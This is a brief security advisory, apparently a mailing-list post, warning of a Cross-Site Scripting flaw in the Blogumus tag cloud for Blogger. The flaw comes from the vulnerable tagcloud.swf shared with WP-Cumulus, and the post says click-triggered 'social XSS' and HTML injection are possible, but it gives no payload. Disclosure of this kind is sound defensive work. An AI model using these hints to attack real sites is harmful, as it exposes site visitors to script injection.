Cross-Site Scripting vulnerability in Blogumus

Hello 3APA3A!

I want to warn you about Cross-Site Scripting vulnerability in
Blogumus for Blogger

It is similar to XSS vulnerability in WP-Cumulus
(http://websecurity.com.ua/3665/), because it's using tagcloud.swf
made by author of WP-Cumulus. About millions of flash files
tagcloud.swf which are vulnerable to XSS attacks I mentioned in my
article XSS vulnerabilities in 8 millions flash files
(http://websecurity.com.ua/3789/) and wrote in my article XSS
vulnerabilities in 34 millions flash files
(http://websecurity.com.ua/3842/).

XSS:

Code will execute after click. It's strictly social XSS. Also it's
possible to conduct HTML Injection attack (like in WP-Cumulus).
